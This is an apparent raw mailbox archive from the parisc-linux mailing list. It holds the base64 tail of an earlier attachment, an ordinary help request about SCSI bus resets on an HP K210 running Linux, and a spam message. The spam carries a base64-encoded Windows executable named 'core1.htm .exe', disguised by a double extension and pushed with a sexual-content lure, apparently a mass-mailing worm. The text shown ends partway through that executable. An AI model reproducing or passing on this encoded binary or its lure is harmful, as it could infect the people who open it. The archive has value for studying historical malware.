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
AAAAAAAAAAAAAAAAzP//AGhXWAAAAAAAgICAAP///wDAwMAA/wAAAAD//wC/AAAAAAD/AAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAACIhEiIiIiIiIiIiIiIiIiIiITVVVVVVVVVVVVVVJSIi
IiNERERERERERERERFJSIiIjREREREREVVRERVVSUiIiI0SIiIhESZlERJmUUlIiIiNERERE
RESVRERJVFJSIiIjRIiIiIhESVVVWVRSUiIiI0RERERERESZmZlUUlIiIiNEiIiIiIhESVRJ
VFJSIiIjRERERERERESVSVRSUiIiI0SIiIiIiIhESVlUUlIiIiNERERERERERESZVFJSIiIj
RIiIiIiIiIhESURSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIjRERERERE
RERERERSUiIiI0SIiIiIiIiIiIhEUlIiIiNERERERERERERERFJSIiIjRCIiIiJEiIiIiERS
UiIiI0Q5kkRCREREREREUlIiIiNEMiIiIkSIiIiIRFJSIiIjRDRCd3JERERERERSUiIiI0Qy
IndyRIiIiIhEUlIiIiNENEJ3ckRERERERFJSIiIjRDRCZmJERERERERSUiIiI0Q0QmZiRERE
REREUlIiIiNEMzIiIkRERERERFJSIiIjRERERERERERERERSUiIiI0JEJEJEJEJEJEJEMlIi
IiNCRCRCRCRCRCRCRDJSIiIiJDNDNDNDNDNDNDNDIiIiIiIiIiIiIiIiIiIiIiIi4AAAD+AA
AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH
4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA
AAfgAAAH+AAAD/////8oAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A
/wD//wAA////AAAAAAAAAAAAAHd3d3d3cAAA//+f/59wAAD//3mZn3AAAPRE95+fcAAA////
eZ9wAAD0RET3n3AAAP//////cAAA9ERERE9wAAD//////3AAAPRERERPcAAA//////9wAAD/
/////3AAAPDw8PDw8AAAD4+Pj4+AAAAAAAAAAAAAwAcAAMADAADAAwAAwAMAAMADAADAAwAA
wAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADABwAA6q8AAAAAAQACACAgEAABAAQA
6AIAAAEAEBAQAAEABAAoAQAAAgAAAAAAAAD/


------=_NextPart_000_0004_00002356.000047EA--



--189659C098.1079605665/fire.ball.reliam.net--


From - Thu Nov 08 21:31:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Net Spamu" <ktototam1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] K210: SCSI reset problem
Date: Thu, 18 Mar 2004 10:37:32 +0000
Lines: 47
Approved: news@gmane.org
Message-ID: <BAY2-F169VnztvfLVoe00040f03@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416623283 7030 80.91.229.3 (22 Nov 2014 02:28:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: ktototam1@hotmail.com  Thu Mar 18 03:37:39 2004
Return-Path: <ktototam1@hotmail.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (bay2-f169.bay2.hotmail.com [65.54.247.169])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FE914843
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Mar 2004 03:37:39 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	Thu, 18 Mar 2004 02:37:38 -0800
Original-Received: from 212.93.96.158 by by2fd.bay2.hotmail.msn.com with HTTP;
	Thu, 18 Mar 2004 10:37:32 GMT
X-Originating-IP: [212.93.96.158]
X-Originating-Email: [ktototam1@hotmail.com]
X-Sender: ktototam1@hotmail.com
X-OriginalArrivalTime: 18 Mar 2004 10:37:38.0430 (UTC)
	FILETIME=[088DE1E0:01C40CD5]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Mar 2004 10:37:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21127

Hi,

I already posted this problem about hanging after SCSI timeouts.

I see the following on my console.

SCSI host 1 abort (pid 1207191) timed out - resetting
SCSI bus is being reset for host 1 channel 0.
ncr53c8xx_reset: pid=1207191 reset_flags=2 serial_number=1207192 
serial_number_at_timeout=1207192
SCSI host 1 abort (pid 1207201) timed out - resetting
SCSI bus is being reset for host 1 channel 0.

http://lists.parisc-linux.org/pipermail/parisc-linux/2003-September/021085.html

I run K210 under linux-2.4.23-pa5. The problem appears on different scsi 
controllers, so I hope there are neither controller nor disk problems. This 
are current drivers from /var/log/messages.


kernel: loop: loaded (max 8 devices)
kernel: Found i82596 at 0xffd07000, IRQ 87
kernel: eth0: 82596 at 0xffd07000, 08 00 09 DA 44 88 IRQ 87.
kernel: 82596.c $Revision: 1.32 $
kernel: SCSI subsystem driver Revision: 1.00
kernel: zalon_scsi_callback: Zalon vers field is 0x1, IRQ 35
kernel: ncr53c8xx: 53c720 detected
kernel: ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
kernel: zalon_scsi_callback: Zalon vers field is 0x1, IRQ 36
kernel: ncr53c8xx: 53c720 detected
kernel: ncr53c720-1: ID 7, Fast-10, Parity Checking, Differential
kernel: scsi0 : ncr53c8xx-3.4.3b-20010512
kernel: scsi1 : ncr53c8xx-3.4.3b-20010512

Can it be a bad driver problem? I use Linux Software RAID, is it possible to 
tune some parameters there?

Many thanks in advance for any help!

BR,
Dub

_________________________________________________________________
The new MSN 8: advanced junk mail protection and 2 months FREE* 
http://join.msn.com/?page=features/junkmail



From - Thu Nov 08 21:31:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: order@digi-trade.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hi parisc-linux
Followup-To: gmane.linux.ports.hppa
Date: Thu, 18 Mar 2004 09:11:18 -0700 (MST)
Lines: 934
Approved: news@gmane.org
Message-ID: <20040318161118.DA0284942@dsl2.external.hp.com>
Reply-To: parisc-linux@parisc-linux.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="----------qSnSjeufJLuePGDq"
X-Trace: ger.gmane.org 1416623283 7032 80.91.229.3 (22 Nov 2014 02:28:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:03 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: order@digi-trade.de  Thu Mar 18 09:11:26 2004
Return-Path: <order@digi-trade.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from localhost (unknown [213.225.42.208])
	by dsl2.external.hp.com (Postfix) with SMTP id DA0284942
	for <parisc-linux@parisc-linux.org>;
	Thu, 18 Mar 2004 09:11:18 -0700 (MST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Mar 2004 16:11:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21128

------------qSnSjeufJLuePGDq
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Real outtakes from Sex in the City!!
Adult content!!! Use with parental advisory =)

------------qSnSjeufJLuePGDq
Content-Type: application/octet-stream; name="core1.htm .exe"
Content-transfer-encoding: base64
Content-Disposition: attachment; filename="core1.htm .exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAAuaJWIagn722oJ+9tqCfvb
kCri22gJ+9t5AabbaAn722oJ+tsOCfvb6QGm220J+9s1K/Dbbwn724IW/ttrCfvb
bwWf22EJ+9uGAqXbawn7228FodtrCfvbUmljaGoJ+9sAAAAAAAAAAAAAAAAAAAAA
UEUAAEwBAwDM7Nw8AAAAAAAAAADgAA8BCwEFAABQAAAAIAAAALAAAEAHAQAAwAAA
ABABAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAMAEAABAAAAAAAAACAAAA
AAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAACkIwEAPAEAAAAQAQCkEwAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAABBdXRvQwAAAACwAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACAAADg
Li4uLgAAAAAAUAAAAMAAAABKAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAA
ACAAAAAQAQAAFgAAAE4AAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALi4uLgAuLi4hDAkCCkahLxX6p2NC
fuYAADZHAAAAtgAAJgUAcv///v9Vi+yD7AxTVugFAB2Ti9gGxolF/DPAOUUIdQZQ
d2/u/1CLw+sLg30IAXUWCxeNdfQiCVaD/v//9vj/dQQk6yxXagReVmpA/xWcYEAA
i/hXjUX0UN+2f/8hzYs1OBE/U//WKvwEi8dfXuztu/9bycIEAFaNdwQhHBqDZwgf
x17DgmOftWUQVz6F8Il1CcbtnbtteAwhHVBHkg+FiwAA2OzfbUsIGhPehMBZVnQS
ZGG//e426RcCEhwPkYXAi8ap8HUZM//b9sO2R6AAsQ+EJAFBiVTrwMyBtXUUFg3H
1h5k+VCJB/AH/wDo/HAH+9tQY/D/01b/NxkKKJ1/bZhbFnd6c6N0IWoBvW13YFux
tMdFKQBiQPLCvjsMUOs7fJAAC4bYe2oCRRYSBzQP398jg8AEHh6XWRT4GAh7a7bC
iAcDWTxPB9ZQV0JzIywkbz0917UQ4aEV2kp2DErXqvzCrRCdcHQkbtn9//9Qd4Xu
ILQsUBIMtQsCPF5nlBEMzbwUOpPs7U8ouTP2OXUMDPR1B/uGW/cQt5BIOw59DyHh
mdtg7OmIA0wLBDULb10V1zcIiQPriovCD2G7TFZWnOwrdHD/M9i9WQTDUCwcLwUX
WmuuaLME8VyGfkJtcyMbMjgMy+3si7wtuNhQRjCDLYsTiwZAn3XuJyWLNllQNiNQ
